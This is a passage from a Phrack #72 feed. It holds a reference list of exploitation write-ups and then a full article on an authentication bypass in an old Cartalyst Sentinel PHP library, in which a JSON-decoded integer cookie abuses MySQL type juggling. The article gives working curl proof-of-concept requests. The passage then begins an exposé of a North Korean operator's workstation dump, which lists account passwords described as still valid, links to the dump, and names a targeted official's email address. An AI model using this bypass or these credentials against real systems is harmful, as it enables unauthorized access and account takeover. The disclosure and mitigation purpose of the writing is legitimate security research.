the classic [FPS] DOOM to Xbox for DEFCON 27 CTF" https://github.com/mborgerson/dc27-dooom [6] Lightning (Legitimate Business Syndicate), "cLEMENCy - Showing Mercy" https://blog.legitbs.net/2017/10/clemency-showing-mercy.html [7] Mateusz "j00ru" Jurczyk, Gynvael Coldwind "Pwning (sometimes) with style Dragons' notes on CTFs" https://j00ru.vexillium.org/slides/2015/insomnihack.pdf#page=34 [8] Julien "jvoisin" Voisin "Paper notes: return-to-csu: A New Method to Bypass 64-bit Linux ASLR" https://dustri.org/b/paper-notes-return-to-csu-a-new-method-to-bypass- 64-bit-linux-aslr.html [9] Angelboy, "HITCON CTF Qual 2016 - House of Orange Write up" https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of- orange.html [10] lollersk8ers, "Buffer overflow in handling of UNIX socket addresses" https://www.freebsd.org/security/advisories/FreeBSD-SA-11:05.unix.asc [11] Jerry "pzread" Wu, "天衣無縫 ~ Fantastic Seamless Textile ~" https://gist.github.com/pzread/2ae0bb3aa5fe0dc69fcf3257c41db944 [12] david942j, "The elf in ELF - use 0-day(s) to cheat all disassemblers" https://hitcon.org/2018/CMT/slide-files/d2_s1_r1.pdf [13] "The Month of PHP Security" https://www.php-security.org/ (archived) [14] "Php Codz Hacking", https://github.com/80vul/phpcodz [15] Adam Iwaniuk "Overriding $ FILES array during uploading multiple files in php" https://students.mimuw.edu.pl/~ai292615/php_multipleupload_ overwrite.pdf (archived) [16] "PHP Object Instantiation issues in HumHub (CVE-2015-1033)" https://www.midnightblue.nl/blog/cve-2015-1033-humhub- php-object-instantiation-issues [17] Arseniy Sharoglazov, "Exploiting Arbitrary Object Instantiations in PHP without Custom Classes", https://swarm.ptsecurity.com/ exploiting-arbitrary-object-instantiations/ [18] Andrew, "Format String Vulnerability in Class Name Error Message" https://bugs.php.net/bug.php?id=71105 [19] Alexander "alech" Klink, Julian "zeri" Wälde, "Efficient Denial of Service Attacks on Web Application Platforms", https://fahrplan.events.ccc.de/congress/2011/Fahrplan/attachments/ 2007_28C3_Effective_DoS_on_web_application_platforms.pdf [20] Philippe "pilvar" Dourassov, "Secret Web Hacking Knowledge - CTF authors hate these simple tricks", https://download.scrt.ch/ insomnihack/ins24-slides/Secret_web_hacking_knowledge.pdf?page=144 [21] Dustin Schultz, "Critical PHP Remote Vulnerability Introduced in Fix for PHP Hashtable Collision DOS", http://thexploit.com/sec/critical- php-remote-vulnerability-introduced-in-fix-for-php-hashtable- collision-dos/ (archived) [22] Simon Scannell, "WordPress < 5.8.3 - Object Injection Vulnerability" https://www.sonarsource.com/blog/wordpress-object-injection- vulnerability/ [23] Stefan Esser, "MySQL and SQL Column Truncation Vulnerabilities" http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation- vulnerabilities/ (archived) [24] Tom Van Goethem, "WordPress < 3.6.1 PHP Object Injection" https://tom.vg/2013/09/wordpress-php-object-injection/ [25] "0CTF 2016 Quals / piapiapia", https://ctftime.org/task/2130 [26] Alessandro "kiks" Groppo, "Rusty Joomla Remote Code Execution" https://1day.dev/notes/Rusty-Joomla-Remote-Code-Execution/ [27] Slavco Mihajloski, "Wordpress SQLi" https://medium.com/websec/wordpress-sqli-bbb2afcc8e94 (archived) [28] Karim El Ouerghemmi, Slavco Mihajloski "Privilege Escalation in 2.3M WooCommerce Shops" https://blog.ripstech.com/2018/woocommerce-php-object- injection/ (archived) [29] Taoguang "Ryat" Chen, "Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization", https://bugs.php.net/bug.php?id=72663 [30] Paul Axe, "WCTF 2019 / P Door" https://github.com/paul-axe/ctf/blob/master/wctf2019/p-door/p-door.pdf [31] inhann, "A new way to bypass __wakeup() and build POP chain" https://inhann.top/2022/05/17/bypass_wakeup/ [32] "PHPGGC", https://github.com/ambionics/phpggc [33] Arseniy "Raz0r" Reutov, "CONFidence 2013: PHP Object Injection Revisited", https://raz0r.name/talks/confidence-2013-php- object-injection-revisited/ [34] Dario "haxonaut" Weißer, cutz, Ruslan "evonide" Habalov "How we broke PHP, hacked Pornhub and earned $20,000" https://www.evonide.com/how-we-broke-php-hacked-pornhub- and-earned-20000-dollar/ [35] Stefan Esser, "State of the Art Post Exploitation in Hardened PHP Environments", https://www.blackhat.com/presentations/bh-usa-09/ESSER/ BHUSA09-Esser-PostExploitationPHP-SLIDES.pdf [36] Taoguang "Ryat" Chen, "Use after free vulnerability in unserialize() with DateTimeZone", https://bugs.php.net/bug.php?id=68942 [37] Orange Tsai, "A Journey Combining Web Hacking and Binary Exploitation in Real World!", https://blog.orange.tw/posts/2021-02- a-journey-combining-web-and-binary-exploitation/ [38] "HTTPoxy", https://httpoxy.org/ [39] Joshua Maddux, "TLS Poison", https://github.com/jmdx/TLS-poison/ [40] Charles "cfreal" Fol, "Laravel <= v8.4.2 debug mode: Remote code execution", https://blog.lexfo.fr/laravel-debug-rce.html [41] Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata, Francesco "ascii" Ongaro, Alessandro "jekil" Tanasi, "PHP filesystem attack vectors - Take Two" https://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/ [42] Vladimir Vorontsov, Arthur Gerkis, "Oddities of PHP file access in Windows", http://onsec.ru/onsec.whitepaper-02.eng.pdf (archived) [43] "PHPCMSv9逻辑漏洞导致备份文件名可猜测" https://mp.weixin.qq.com/s?__biz=MzIxNjkwODg4OQ==&mid=2247483837& idx=1&sn=6f448a26d079bfa379c627e32f4fc321 [44] "解决DEDECMS历史难题--找后台目录", https://xz.aliyun.com/news/1765 [45] Soroush "irsdl" Dalili "A Dotty Salty Directory: A Secret Place in NTFS for Secret Files!" https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret- place-in-ntfs-for-secret-files/ [46] Orange Tsai, Splitline NG "WorstFit: Unveiling Hidden Transformers in Windows ANSI!" https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden- transformers-in-windows-ansi/ [47] Ryo "icchy" Ichikawa, "WCTF2019: Gyotaku The Flag" https://github.com/icchy/wctf2019-gtf/blob/master/ wctf2019-gtf-slides.pdf [48] "BELLUMINAR", http://belluminar.org/ [49] Orange Tsai, "Breaking Parser Logic! Take Your Path Normalization Off and Pop 0days Out", https://i.blackhat.com/us-18/Wed-August-8/us- 18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization- Off-And-Pop-0days-Out-2.pdf#page=48 [50] Gynvael Coldwind, "PHP LFI to arbitratry code execution via rfc1867 file upload temporary files", https://gynvael.coldwind.pl/download. php?f=PHP_LFI_rfc1867_temporary_files.pdf [51] Brett Moore, "LFI WITH PHPINFO() ASSISTANCE" https://insomniasec.com/downloads/publications/ LFI%20With%20PHPInfo%20Assistance.pdf [52] Stefan Esser, "Piwik Cookie unserialize() Vulnerability" https://seclists.org/fulldisclosure/2009/Dec/204 [53] "Codegate CTF Preliminary 2015 / Owlur", https://ctftime.org/task/1398 [54] Orange Tsai, "HITCON CTF 2018 - One Line PHP Challenge" https://blog.orange.tw/posts2018-10-hitcon-ctf-2018- one-line-php-challenge/ [55] Taoguang "Ryat" Chen, "PHP Session Data Injection Vulnerability" https://bugs.php.net/bug.php?id=72681 [56] Yuhang "wupco" Wu, "One Line PHP Challenge without session.upload" https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view [57] Bruno "0xbb" Bierbaumer, "hxp 36C3 CTF / includer" https://ctftime.org/task/10249 [58] waderwu (@yxxx), "0CTF 2021 / 1linephp" https://github.com/waderwu/My-CTF-Challenges/blob/master/0ctf-2021/ 1linephp/writeup/1linephp_writeup_en.md [59] Kaibro, "Balsn CTF 2021 / 2linephp" https://github.com/w181496/My-CTF-Challenges/tree/master/ Balsn-CTF-2021#2linephp [60] Bruno "0xbb" Bierbaumer, "hxp CTF 2021: includer's revenge writeup" https://hxp.io/blog/90/hxp-CTF-2021-includers-revenge-writeup/ [61] Ginoah, Bookgin, "One Line PHP: From Genesis to Ragnarök" https://hackmd.io/@ginoah/phpInclude [62] @loknop, "Solving includer's revenge from hxp ctf 2021 without controlling any files", https://gist.github.com/loknop/ b27422d355ea1fd0d90d6dbc1e278d4d [63] Gynvael Coldwind, "Surprising CTF task solution using php://filter" https://gynvael.coldwind.pl/?lang=en&id=671 [64] Yuhang "wupco" Wu, "PHP_INCLUDE_TO_SHELL_CHAR_DICT" https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT [65] Rémi "Remsio" Matasse, "PHP filters chain: What is it and how to use it", https://www.synacktiv.com/en/publications/php-filters-chain- what-is-it-and-how-to-use-it [66] @hashkitten, "DownUnderCTF 2021 / minimal-php" https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/ minimal-php/solve/solution.py [67] Rémi "Remsio" Matasse, "PHP filter chains: file read from error-based oracle", https://www.synacktiv.com/publications/php-filter-chains- file-read-from-error-based-oracle [68] Charles "cfreal" Fol, "Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix", https://blog.lexfo.fr/ wrapwrap-php-filters-suffix.html [69] Charles "cfreal" Fol, "Introducing lightyear, a new way to dump PHP files", https://blog.lexfo.fr/lightyear-file-dump.html [70] Charles "cfreal" Fol, "Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine", https://blog.lexfo.fr/iconv- cve-2024-2961-p1.html [71] "Limit maximum number of filter chains as a security measure" https://github.com/php/php-src/issues/10453 [72] Orange Tsai, "HITCON CTF 2017 / Baby^H Master PHP 2017 https://github.com/orangetw/My-CTF-Web-Challenges# babyh-master-php-2017 [73] "HITCON2017-writeup整理", https://lorexxar.cn/2017/11/10/hitcon2017- writeup/#/baby-h-master-php-2017 [74] Sam Thomas, "It's a PHP Unserialization Vulnerability Jim, but Not as We Know It", https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas- Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf [75] "Чтение файлов => unserialize !", https://rdot.org/forum/ showthread.php?t=4379 (archived) [76] Anton (@ByQwert), "Insecure PHP deserialization through phar:// wrapper.", https://github.com/mpdf/mpdf/issues/949 [77] Cyku, "phar:// deserialization and weak randomness of temporary file name may lead to RCE", https://github.com/mpdf/mpdf/issues/1381 [78] "PHP RFC: Don't automatically unserialize Phar metadata outside getMetadata()", https://wiki.php.net/rfc/ phar_stop_autoloading_metadata [79] Martin "sisu" Radev, "Statement on 'HXP CTF Chrome 0day bug'" http://varko.xyz/shadertoy_plus_plus_chrome_0day_sisu_statement.html [80] @A2nkF, @localo, "Escaping VirtualBox 6.1" https://secret.club/2021/01/14/vbox-escape.html [81] Jonathan "j0nathanj" Jacobi, VoidMercy "CS:GO RCE 0-day - Real World CTF Qualifiers 2018" https://blog.perfect.blue/P90_Rush_B [82] "Eindbazen PHP-CGI advisory (CVE-2012-1823)", http://eindbazen.net/ 2012/05/php-cgi-advisory-cve-2012-1823/ (archived) [83] Emil "neex" Lerner, "PHuiP-FPizdaM" https://github.com/neex/phuip-fpizdam [84] Michel "MaXX" Kaempf "Vudo - An object superstitiously believed to embody magical powers" https://phrack.org/issues/57/8 [85] Aleph One, "Smashing The Stack For Fun And Profit" https://phrack.org/issues/49/14 [86] "PHP Security Advent Calendar 2017" https://www.ripstech.com/php-security-calendar-2017/ (archived) [87] Taoguang "Ryat" Chen, "GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]" https://seclists.org/fulldisclosure/2017/Jan/55 [88] Stefan Esser, "phpinfo() Type Confusion Infoleak Vulnerability and SSL Private Keys", https://sektioneins.de/blog/ 14-07-04-phpinfo-infoleak.html [89] Stefan Schiller, "Joomla: PHP Bug Introduces Multiple XSS Vulnerabilities", https://www.sonarsource.com/blog/ joomla-multiple-xss-vulnerabilities/ [90] Charles "cfreal" Fol, "mysqlnd/pdo password buffer overflow leading to RCE", https://bugs.php.net/bug.php?id=81719 [91] LoRexxar, Dawu, "Mysql Client Arbitrary File Reading Attack Chain Extension", https://medium.com/@knownsec404team/mysql-client- arbitrary-file-reading-attack-chain-extension-727bb63f578c [92] Blaklis, "InsomniHack Finals 2019 / Phuck3" https://github.com/Blaklis/my-challenges/tree/master/phuck3 [93] "Command execution through imap_open" https://bugs.php.net/bug.php?id=76428 [94] "LiveCTF", https://livectf.com/ [95] "Binary Golf", https://binary.golf/ [96] "Super Mario World Credits Warp Explained" https://www.youtube.com/watch?v=vAHXK2wut_I [97] TheXcellerator "Tetsuji: Remote Code Execution on a GameBoy Colour 22 Years Later" https://xcellerator.github.io/posts/tetsuji/ [98] @murachu, "目grep入門 +解説" https://www.slideshare.net/slideshow/grep-8132856/8132856 [99] Jordan "psifertex" Wiens, "A Brief History of CTF" https://psifertex.github.io/a-brief-history-of-ctf/ ]]> https://phrack.org/issues/72/guarding-the-php-temple.html Tue, 19 Aug 2025 00:00:00 +0000 mr_me Phrack #72 phrack-72-6 |=-----------------------------------------------------------------------=| |=----------=[ Anubis of the West :: Guarding the PHP Temple ]=----------=| |=-----------------------------------------------------------------------=| |=--------------------------------------------------=[ mr_me ]=----------=| |=-----------------------------------------------------------------------=| --[ Table of Contents 0. Journey 1. Environment 2. Proof of Concept 3. Vulnerability Analysis 4. Mitigations 5. Final Words 6. References --[ 0. Journey During one of my many long journeys into source code auditing, a security appliance came to my attention. It was running some outdated janky PHP code which was reminiscent of the days where... ahem, never mind. The appliance had been audited several times which attracted me because I personally love the challenge of uncovering vulnerabilities in harder web environments. It means I get to find much more complex and intricate bugs, chain things, do the logical dance across the web stack so to speak. All with time permitting of course. Well, without much time permitting and within a 4-day window of distraction-less auditing (those with kids who work at home, I see you) I did manage to complete a full chain. Due to the nature of the engagement, I cannot disclose the full details but since the bugs are not actually within the application logic, but rather an outdated third-party library, I figured what the hell. Wins come rarely these days, especially ones I can talk about due to working on harder targets, life, NDAs, so I wanted to share the root cause of this authentication bypass issue for the sake of learning. --[ 1. Environment So let's say you have built a super secure PHP app with Cartalyst Sentinel [0]: ........................................................................... <?php include 'config.php'; use Cartalyst\Sentinel\Native\Facades\Sentinel; function renewSession(){ Sentinel::login(Sentinel::getUser()); } if ($user = Sentinel::check()){ // 1 $email = Sentinel::getUser()['email']; if (isset($_GET['logout']) && $_GET['logout'] === 'true'){ Sentinel::logout(); exit("logged out ".$email); } renewSession(); // 2 }else{ if (isset($_GET['login']) && $_GET['login'] === 'true' && isset($_GET['user']) && isset($_GET['pwd'])){ $user = Sentinel::authenticate(array( // 3 'email' => $_GET['user'], 'password' => $_GET['pwd'], )); if (!$user){ // 4 exit("credentials failed!"); } }else{ exit("user not logged in!\r\n"); } } echo('logged in as '.$email."\r\n"); echo("now do something\r\n"); // 5 ........................................................................... Seems secure right? I see a few of you humming and harring. Well, the target appliance code was more or less written this way. The code at (1) checks if the user is logged in. If so, then unless they want to logout, their session is renewed with a call to renewSession() at (2). The renewSession function grabs the current user from the session and logs the user back in. This is due to PHP's default session timeout being 24 minutes. If the user is not logged in, there is a call to authenticate() in (3) with the user-supplied credentials. The return value is checked in (4). The goal is to reach (5) without a valid PHPSESSID or valid credentials. --[ 2. Proof of Concept This time, let's start with the POC: ........................................................................... researcher@venus:~/sentinel$ curl http://localhost:8000/ user not logged in! researcher@venus:~/sentinel$ curl -I http://localhost:8000/?login=true&user=john.wick@example.com&pwd=foobar HTTP/1.1 200 OK Host: localhost:8000 Date: Wed, 19 Mar 2025 22:31:50 GMT Connection: close X-Powered-By: PHP/7.3.33-24+0~20250311.131+debian12~1.gbp8dc7d2 Set-Cookie: PHPSESSID=u45a6uk3o7d4r0sqmkhrghrm2u; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-type: text/html; charset=UTF-8 researcher@venus:~/sentinel$ curl --cookie 'PHPSESSID=u45a6uk3o7d4r0sqmkhrghrm2u' http://localhost:8000/ logged in as john.wick@example.com now do something ........................................................................... Now, typically once a user has logged in, they will browse various pages, which will trigger a call to renewSession(): ........................................................................... researcher@venus:~/sentinel$ curl --cookie 'PHPSESSID=u45a6uk3o7d4r0sqmkhrghrm2u' http://localhost:8000/ logged in as john.wick@example.com now do something researcher@venus:~/sentinel$ curl --cookie 'PHPSESSID=u45a6uk3o7d4r0sqmkhrghrm2u' http://localhost:8000/ logged in as john.wick@example.com now do something [...] ........................................................................... The renewSession() call keeps the PHP session alive by inserting entries into a table called persistences: ........................................................................... mysql> select id, user_id, code, updated_at from persistences; +----+---------+----------------------------------+---------------------+ | id | user_id | code | updated_at | +----+---------+----------------------------------+---------------------+ | 1 | 4 | B7Mk2ilTROVtNSLq2B8EKrzfNcVFUZqH | 2025-03-19 06:14:09 | | 2 | 4 | kRQYH4X1TkdDubU86pNt4ouFjey3gi13 | 2025-03-19 06:16:23 | | 3 | 4 | iVILzb9Xa8gMH4JfhMKCf4uJ62VOGDj2 | 2025-03-19 18:18:32 | | 4 | 4 | NzfuKcNVlKQoCKPlXuA7fSunh3W4DWWt | 2025-03-19 18:18:32 | [...] | 33 | 4 | HsXIkdkFrzWhlVYySTJAhGg0OFQ4Ey89 | 2025-03-19 18:34:01 | | 34 | 4 | jRq6kaPOxYf9mDy2sbTXhS5fgfe3gdlp | 2025-03-19 18:34:07 | | 35 | 4 | 5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT | 2025-03-19 18:34:11 | +----+---------+----------------------------------+---------------------+ 33 rows in set (0.00 sec) ........................................................................... Look at the last entry. What do you see? The code starts with a number: ........................................................................... mysql> select * from persistences where code=5; +----+---------+----------------------------------+---------------------+ | id | user_id | code | updated_at | +----+---------+----------------------------------+---------------------+ | 35 | 4 | 5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT | 2025-03-19 18:34:11 | +----+---------+----------------------------------+---------------------+ 1 row in set, 33 warnings (0.01 sec) mysql> ........................................................................... Wait, what!? A type juggle inside MySQL! The real question is, can this behavior be exploited through PHP code? I'll give you the tl;dr; ........................................................................... researcher@venus:~/sentinel$ curl --cookie 'cartalyst_sentinel=5' http://localhost:8000/ logged in as john.wick@example.com now do something ........................................................................... Boom, we are in as John Wick. --[ 3. Vulnerability Analysis Let's dive into the root cause of this issue. Actually, this is a collection of errors that leads to a calamity. The first one, you know, is that MySQL allows type juggling. When a string is compared to an integer, MySQL tries to cast the string to an integer before doing the comparison. This can lead to surprising behavior. When the string starts with a numeric prefix ("5M6o..") then the cast will end up as that numeric value: ........................................................................... mysql> select CAST("5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT" AS SIGNED); +----------------------------------------------------+ | CAST("5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT" AS SIGNED) | +----------------------------------------------------+ | 5 | +----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec) ........................................................................... But how does this occur in PHP? Let's dive in. Inside cartalyst/sentinel/src/Sentinel.php, we see the check() method: ........................................................................... /** * Checks to see if a user is logged in. * * @return \Cartalyst\Sentinel\Users\UserInterface|bool */ public function check() { if ($this->user !== null) { return $this->user; } // 1 if (! $code = $this->persistences->check()) { return false; } // 6 if (! $user = $this->persistences->findUserByPersistenceCode(code)) { return false; } if (! $this->cycleCheckpoints('check', $user)) { return false; } return $this->user = $user; } ........................................................................... At (1) the code calls check() on the persistences object. Inside of cartalyst/sentinel/src/Persistences/IlluminatePersistenceRepository.php, we find: ........................................................................... public function check() { if ($code = $this->session->get()) { return $code; } if ($code = $this->cookie->get()) { // 2 return $code; } } ........................................................................... We don't care about the session because we don't control that, but at (2) it grabs the cookie. Since we implemented Sentinel using the native interface (without integrating with Laravel) then it will use the NativeCookie class located in cartalyst/sentinel/src/Cookies/NativeCookie.php: ........................................................................... public function get() { return $this->getCookie(); // 3 } ...snip... /** * Returns a PHP cookie. * * @return mixed */ protected function getCookie() { if (isset($_COOKIE[$this->options['name']])) { $value = $_COOKIE[$this->options['name']]; // 4 if ($value) { return json_decode($value); // 5 } } } ........................................................................... At (3) the code calls getCookie, then at (4) the code attempts to grab the cookie. The default cookie name is 'cartalyst_sentinel' as seen below, but it can be overwritten in the Sentinel's config file at cartalyst/sentinel/src/config/config.php: ........................................................................... class NativeCookie implements CookieInterface { /** * The cookie options. * * @var array */ protected $options = [ 'name' => 'cartalyst_sentinel', 'domain' => '', 'path' => '/', 'secure' => false, 'http_only' => false, ]; ........................................................................... At (5) a curious thing occurs, a call to json_decode() happens on the attacker provided cookie. json_decode() can return different types depending on the provided input: ........................................................................... researcher@venus:~/sentinel$ php -r 'var_dump(json_decode("\"1\""));' string(1) "1" researcher@venus:~/sentinel$ php -r 'var_dump(json_decode("1"));' int(1) researcher@venus:~/sentinel$ php -r 'var_dump(json_decode("[1]"));' array(1) { [0]=> int(1) } researcher@venus:~/sentinel$ php -r 'var_dump(json_decode("{\"a\":\"b\"}"));' object(stdClass)#1 (1) { ["a"]=> string(1) "b" } researcher@venus:~/sentinel$ php -r 'var_dump(json_decode("false"));' bool(false) ........................................................................... The attacker can control the return type as well as value from the cookie grab, nice! After that, findUserByPersistenceCode() is called at (6) from within the Sentinel class: ........................................................................... public function findByPersistenceCode($code) { $persistence = $this->createModel() ->newQuery() ->where('code', $code) ->first(); // 8 return $persistence ? $persistence : false; } public function findUserByPersistenceCode($code) { $persistence = $this->findByPersistenceCode($code); // 7 return $persistence ? $persistence->user : false; } ........................................................................... At (7) the call to findByPersistenceCode() is triggered with the attacker-controlled cookie (type/value). At (8) a query is built using Illuminate's query builder API and it takes into consideration the code *type* during construction. If it's a string then the following query is built: ........................................................................... select * from persistences where code='1337'; ........................................................................... However, if it's an int then the following query is built: ........................................................................... select * from persistences where code=1337; ........................................................................... Lucky for us the code is generated with str_random(32) which includes numeric values! --[ 4. Mitigations I mean really, there is a lot you can do to prevent this. Right off the bat, if you use Laravel + Sentinel then you are not affected assuming you use the service provider SentinelServiceProvider which is the default. This is because the code uses the IlluminateCookie class for cookie management vs the NativeCookie class for a Native deployment. The IlluminateCookie class does not use json_decode(): ........................................................................... /** * Registers the cookie. * * @return void */ protected function registerCookie() { $this->app->singleton('sentinel.cookie', function ($app) { return new IlluminateCookie( $app['request'], $app['cookie'], $app['config']->get('cartalyst.sentinel.cookie') ); }); } ........................................................................... The other mitigating factor is that in newer versions of Cartalyst Sentinel (> v2.0) the code uses type hinting. So, assuming that your target is using a *newer* version of PHP (> php 7.0), I know big assumption right? then they are safe because >= v3 specifies the return type for the check() method, so we can't return an int. If that isn't enough then you will see that findUserByPersistenceCode() hints at a string type for the code argument: ........................................................................... public function check(): ?string { if ($code = $this->session->get()) { return $code; } if ($code = $this->cookie->get()) { return $code; } return null; } public function findByPersistenceCode(string $code): ?PersistenceInterface { return $this->createModel()->newQuery()->where('code', $code)->first(); } public function findUserByPersistenceCode(string $code): ?UserInterface { $persistence = $this->findByPersistenceCode($code); return $persistence ? $persistence->user : null; } ........................................................................... I would recommend that MySQL addresses the type juggle in case other ORMs dynamically generate SQL queries and factor in the value types when generating the WHERE clause. --[ 5. Final Words This vulnerability was a real edge case and resulted from a comedy of quirks/errors to obtain a powerful authentication bypass. There are caveats though, the attacker will need wait for someone to login to the target system before they can run their attack. Additionally, the attacker will not know which user logged in. As such, it is ideal to chain it with a code injection that is user independent. In the future I *may* detail the code injection component as it is equally interesting and bypasses some built in mitigations. --[ 6. References [0]: https://cartalyst.com/manual/sentinel/2.0 [1]: https://thephp.website/en/issue/php-type-system/ ]]> https://phrack.org/issues/72/apt-down-the-north-korea-files.html Tue, 19 Aug 2025 00:00:00 +0000 Saber, cyb0rg Phrack #72 phrack-72-7 |=------------------------------------------------------------------------=| |=-----------------=[ APT Down - The North Korea Files ]=-----------------=| |=------------------------------------------------------------------------=| |=--------------------------=[ Saber + cyb0rg ]=--------------------------=| |=-----------------------=[ saber_res@riseup.net ]=-----------------------=| |=-----------------=[ 5bc524352881851934d4a88eb8c1682c ]=-----------------=| Note by PHRACK STAFF: A responsible disclose was attempted with South Korea. The full article, dump and release schedule was shared ahead of publishing: * 16th of June 2025, Informed Defense Counterintelligence Command * 26th of June 2025, Response by clearbear001 (dcc.mil.kr? vague.) * 16th of July 2025, Response by operation-dl (who is this?) * 17th of July 2025, Informed kisa.or.kr * 17th of July 2025, Informed Ministry of Unification * 17th of July 2025, Informed LG Uplus Corp * 18th of July 2025, Informed KrCERT * 15th of August 2025, Proton disables whistleblower's email account. * 16th of August 2025, Proton disables author's email account. The only replies were from anonymous individuals (clearbear001/operation-dl). We advised them to inform KISA and KrCERT. Communication then ended abruptly. An appeal was filed with Proton. Proton replied: "your account will cause further damage to our service, therefore we will keep the account suspended". Proton ignored any further request for clarification (Proton was used only for email and only to communicate with South Korea). Proton's legal department was contacted (8 times), but they never responded. --[ Table of Contents 0 - Introduction F - Dear Kimsuky, you are no hacker 1 - The Dumps 1.1 - The Defense Counterintelligence Command (dcc.mil.kr) 1.2 - Access to South Korea Ministry of foreign Affairs 1.3 - Access to internal South Korean Gov network 1.4 - Miscellaneous 2 - The artifacts   2.1 - Generator vs Defense Counterintelligence Command   2.2 - TomCat remote Kernel Backdoor   2.3 - Private Cobalt Strike Beacon   2.4 - Android Toybox   2.5 - Ivanti Control aka RootRot-NG   2.6 - Bushfire   2.7 - Spawn Chimera and The Hankyoreh Newspaper 3 - Identifying Kimsuky 3.1 - Operation Covert Stalker 3.2 - GPKI Stolen Certificates 3.3 - Similar Targets 3.4 - Hypothesis on AiTM attack against Microsoft users 3.5 - Is KIM Chinese? 3.6 - Fun Facts and laughables --[ 0. Introduction This article analyses the dump of data from a APT's workstation. In particular the data and source code retrieved from the workstation belonging to threat actor actively targeting organizations in South Korea and Taiwan. We believe this to be a member of North Korea's "Kimsuky" group [#14]. --- "Kimsuky is a North Korean state-backed Advanced Persistent Threat that targets think tanks, industry, nuclear power operators and government for espionage purposes. It is being designated pursuant to E.O. 13687, for being an agency, instrumentality, or a controlled entity of the Government of North Korea." --- We refer to this particular member as "KIM" for the sake of this article. KIM is not your friend. The dump includes many of Kimsuky's backdoors and their tools as well as the internal documentation. It shows a glimpse how openly "Kimsuky" cooperates with other Chinese APTs and shares their tools and techniques. Some of these tools may already be known to the community: You have seen their scans and found their server side artifacts and implants. Now you shall also see their clients, documentation, passwords, source code, and command files... As a freebie, we also give you a backup of their VPS that they used for spear-phishing attacks. This article is an invitation for threat hunters, reverse engineers and hackers, -Enjoy. The meat of the article is split into 3 parts: -- 1.x The dumps, log files, history files, password lists, .. -- 2.x Their backdoors, tools, payloads, -- 3.x OSINT on the threat actor The dump is available at: 1. http://gdlvc66enozrke2pbcg2cnyhmfhzu77wo5g4qluebnas3qiqn4mgerid.onion 2. https://ddosecrets.com/article/apt-down-the-north-korea-files 3. https://drive.proton.me/urls/ZQ1235FY7C#P0khjXI2uEtS We have informed the South Korean victims before the release of this article and to give them time to change the login credentials. We have not informed KIM: The credentials to his VPS and domain registrar are still valid (as of this morning). Good luck. --[ F. Dear Kimsuky, you are no hacker What defines a Hacker? Somebody clever, extremely clever, who enjoys using technology beyond its intended purpose and who does so without causing harm, is free of any political agenda and has no monetary incentives. They take no money and no rewards. They follow nobody and have no goal beyond expressing their creativity. An artist. Kimsuky, you are not a hacker. You are driven by financial greed, to enrich your leaders, and to fulfill their political agenda. You steal from others and favour your own. You value yourself above the others: You are morally perverted. I am a Hacker and I am the opposite to all that you are. In my realm, we are all alike. We exist without skin color, without nationality, and without political agenda. We are slaves to nobody. I hack to express my creativity and to share my knowledge with other artists like me. To contribute, share, and further the knowledge of all man kind. For the beauty of the baud alone. You hack for all the wrong reasons. --[ 1. The Dumps >>> Be mindful when opening files from the dump. <<< >>> You have been warned. <<< This paragraph gives a short overview of the dumps and then takes a closer look at three initial findings: * Logs showing an attack against The Defense Counterintelligence Command * Access to the South Korea Ministry of foreign Affairs * Access to internal South Korean Gov network * ...and many more files we did not had the time yet to look at. #ENJOY The first dump is from KIM's guest VM and the second is from his public VPS. Both dumps were retrieved around the 10th of June 2025. The first dump: --------------- - A screenshot of his Desktop (kim_desktop.jpg). - Linux Dev System (VM, running Deepin 20.9 Linux). The guest VM had the host's C:\ mounted (hgfs). Dumped included. - A listing of all files can be found in ./file-lists. - About 20,000 entries in the Brave & Chrome history. Revealing many email addresses (jeder97271@wuzak.com, xocaw75424@weiby.com, ..), sites KIM visited and tools KIM downloaded. All Chrome extensions such as spoofing the User-Agent, Proxy SwitchyOmega, a Cookie Editor and many others. - The file `ko 图文编译 .doc` is a manual how to operate one of their backdoors. There is also a very officially sounding statement(translated): "it is forbidden to use the backdoor outside of its designated use". - Lots of passwords in `mnt/hgfs/Desktop/fish_25327/vps20240103.docx`. Including E-Mail and VPS passwords (working). * root / 1qaz2wsx * dysoni91@tutamail.com / !QAZ4rfv!@#$ * https://sg24.vps.bz:4083 / center2025a@tutamail.com / H4FHKMWMpX8bZ * https://monovm.com / dysoni91@tutamail.com / dr567h%a"G6*m - See fish-url.txt & generator.php to learn about password re-use patterns. The second dump: ---------------- - Server name: vps1735811325, hosted at vps.bz - Server was used for various spearphising campaigns - Noticeable are the SSL certificates and auth.log. The source code for phishing attacks are discussed further below. ----[ 1.1 - Defense Counterintelligence Command (dcc.mil.kr) Drop Location: vps/var/www/html/ The Defense Counterintelligence Command (DCC) is an intelligence organization of the South Korean Armed Forces. The DCC is primarily responsible for intelligence missions such as clandestine and covert operations, and counterintelligence. The logs show a phishing attack against the dcc.mil.kr as recently as three days ago. The same logs contain The Supreme Prosecutor Office (spo.go.kr), korea.kr, daum.net, kakao.com, and naver.com. It should be noted that the Admin-C for dcc.mil.kr is registered to hyuny1982@naver.com. ............................................................................ grep -Fhr 'dcc.mil.kr' log | uniq jandy3912@dcc.mil.kr_amFuZHkzOTEyQGRjYy5taWwua3I= 